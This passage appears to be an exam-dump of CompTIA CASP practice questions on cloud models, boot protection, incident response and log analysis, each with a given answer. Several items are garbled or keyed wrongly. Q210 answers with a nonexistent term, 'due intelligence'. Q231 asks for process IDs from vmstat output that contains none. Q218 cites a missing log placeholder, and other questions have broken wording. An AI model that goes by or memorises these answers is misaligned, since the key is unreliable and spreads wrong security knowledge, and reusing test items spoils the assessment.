POST http://comptia.com/casp/login.asp
GET http://comptia.com/casp/user=54x90211z
```

Which of the following actions should the security analyst propose to prevent this successful exploitation?

- A. Patch the system.
- B. Update the antivirus.
- C. Install a host-based firewall.
- D. Enable TLS 1.2.

Answer: D

NEW QUESTION 192

A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.

Which of the following would provide the BEST boot loader protection?

- A. TPM
- B. HSM
- C. PKI
- D. UEFI/BIOS

Answer: D

NEW QUESTION 196

A Chief Information Officer (CIO) wants to implement a cloud solution that will satisfy the following requirements:

Support all phases of the SDLC. Use tailored website portal software.

Allow the company to build and use its own gateway software. Utilize its own data management platform.

Continue using agent-based security tools.

Which of the following cloud-computing models should the CIO implement?

- A. SaaS
- B. PaaS
- C. MaaS
- D. IaaS

Answer: D

NEW QUESTION 201

A networking team asked a security administrator to enable Flash on its web browser. The networking team explained that an important legacy embedded system gathers SNMP information from various devices. The system can only be managed through a web browser running Flash. The embedded system will be replaced within the year but is still critical at the moment.

Which of the following should the security administrator do to mitigate the risk?

- A. Explain to the networking team the reason Flash is no longer available and insist the team move up the timetable for replacement.
- B. Air gap the legacy system from the network and dedicate a laptop with an end-of-life OS on it to connect to the system via crossover cable for management.

- C. Suggest that the networking team contact the original embedded system's vendor to get an update to the system that does not require Flash.
- D. Isolate the management interface to a private VLAN where a legacy browser in a VM can be used as needed to manage the system.

Answer: D

NEW QUESTION 203

A company publishes several APIs for customers and is required to use keys to segregate customer data sets. Which of the following would be BEST to use to store customer keys?

- A. A trusted platform module
- B. A hardware security module
- C. A localized key store
- D. A public key infrastructure

Answer: B

NEW QUESTION 204

A company processes data subject to NDAs with partners that define the processing and storage constraints for the covered data. The agreements currently do not permit moving the covered data to the cloud, and the company would like to renegotiate the terms of the agreements. Which of the following would MOST likely help the company gain consensus to move the data to the cloud?

- A. Designing data protection schemes to mitigate the risk of loss due to multitenancy
- B. Implementing redundant stores and services across diverse CSPs for high availability
- C. Emulating OS and hardware architectures to blur operations from CSP view
- D. Purchasing managed FIM services to alert on detected modifications to covered data

Answer: D

NEW QUESTION 205

A company recently acquired a SaaS provider and needs to integrate its platform into the company's existing infrastructure without impact to the customer's experience. The SaaS provider does not have a mature security program. A recent vulnerability scan of the SaaS provider's systems shows multiple critical vulnerabilities attributed to very old and outdated OSs. Which of the following solutions would prevent these vulnerabilities from being introduced into the company's existing infrastructure?

- A. Segment the systems to reduce the attack surface if an attack occurs
- B. Migrate the services to new systems with a supported and patched OS.
- C. Patch the systems to the latest versions of the existing OSs
- D. Install anti-malwar
- E. HIPS, and host-based firewalls on each of the systems

Answer: B

NEW QUESTION 210

A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate. This is an example of:

- A. due intelligence
- B. e-discovery.
- C. due care.
- D. legal hold.

Answer: A

NEW QUESTION 212

A financial institution has several that currently employ the following controls:

- * The servers follow a monthly patching cycle.
- * All changes must go through a change management process.
- * Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.
- * The servers are on an isolated VLAN and cannot be directly accessed from the internal production network. An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process.

Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?

- A. Require more than one approver for all change management requests.
- B. Implement file integrity monitoring with automated alerts on the servers.
- C. Disable automatic patch update capabilities on the servers
- D. Enhanced audit logging on the jump servers and ship the logs to the SIEM.

Answer: B

NEW QUESTION 214

A Chief Information Officer is considering migrating all company data to the cloud to save money on expensive SAN storage. Which of the following is a security concern that will MOST likely need to be addressed during migration?

- A. Latency
- B. Data exposure

- C. Data loss
- D. Data dispersion

Answer: B

NEW QUESTION 218

A security analyst receives an alert from the SIEM regarding unusual activity on an authorized public SSH jump server. To further investigate, the analyst pulls the event logs directly from `/var/log/auth.log: graphic.ssh_auth_log`.

Which of the following actions would BEST address the potential risks by the activity in the logs?

- A. Alerting the misconfigured service account password
- B. Modifying the AllowUsers configuration directive
- C. Restricting external port 22 access
- D. Implementing host-key preferences

Answer: B

NEW QUESTION 220

A host on a company's network has been infected by a worm that appears to be spreading via SMB. A security analyst has been tasked with containing the incident while also maintaining evidence for a subsequent investigation and malware analysis.

Which of the following steps would be best to perform FIRST?

- A. Turn off the infected host immediately.
- B. Run a full anti-malware scan on the infected host.
- C. Modify the smb.conf file of the host to prevent outgoing SMB connections.
- D. Isolate the infected host from the network by removing all network connections.

Answer: D

NEW QUESTION 222

A SOC analyst is reviewing malicious activity on an external, exposed web server. During the investigation, the analyst determines specific traffic is not being logged, and there is no visibility from the WAF for the web application.

Which of the following is the MOST likely cause?

- A. The user agent client is not compatible with the WAF.
- B. A certificate on the WAF is expired.
- C. HTTP traffic is not forwarding to HTTPS to decrypt.
- D. Old, vulnerable cipher suites are still being used.

Answer: D

NEW QUESTION 224

An organization that provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of self-healing that includes monitoring performance and available resources. When the system detects an issue, the self-healing process is supposed to restart parts of the software.

During the incident, when the self-healing system attempted to restart the services, available disk space on the data drive to restart all the services was inadequate. The self-healing system did not detect that some services did not fully restart and declared the system as fully operational. Which of the following BEST describes the reason why the silent failure occurred?

- A. The system logs rotated prematurely.
- B. The disk utilization alarms are higher than what the service restarts require.
- C. The number of nodes in the self-healing cluster was healthy.
- D. Conditional checks prior to the service restart succeeded.

Answer: D

NEW QUESTION 227

A business stores personal client data of individuals residing in the EU in order to process requests for mortgage loan approvals.

Which of the following does the business's IT manager need to consider?

- A. The availability of personal data
- B. The right to personal data erasure
- C. The company's annual revenue
- D. The language of the web application

Answer: B

NEW QUESTION 231

A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.

```
procs -----memory-----swap---io--  --system--  -----cpu-----
r b swpd free  buff  cache  si so bi  bo  in cs  us sy id wa st
3 0 0  44712 110052 623096 0 0 304023 30004040 217 883 13 3 83 1 0
1 0 0  44408 110052 623096 0 0 300 200003 88 1446 31 4 65 0 0
0 0 0  44524 110052 623096 0 0 400020 20 84 872 11 2 87 0 0
0 2 0  44516 110052 623096 0 0 10 0 149 142 18 5 77 0 0
0 0 0  44524 110052 623096 0 0 0 0 60 431 14 1 85 0 0
```

Based on the output above, from which of the following process IDs can the analyst begin an investigation?

- A. 65
- B. 77
- C. 83
- D. 87

Answer: C

NEW QUESTION 233

A security auditor needs to review the manner in which an entertainment device operates. The auditor is analyzing the output of a port scanning tool to determine the next steps in the security review. Given the following log output.

The best option for the auditor to use NEXT is:

```
# nmap -F -T4 192.168.8.11
Starting Nmap 7.60
Nmap scan report for 192.168.8.11
Host is up (0.702s latency).
Not shown: 99 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
MAC Address: 04:1B:18:1B:1D:13 (CompuTIA)
Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds
```

- A. A SCAP assessment.
- B. Reverse engineering
- C. Fuzzing
- D. Network interception.

Answer: A

NEW QUESTION 237

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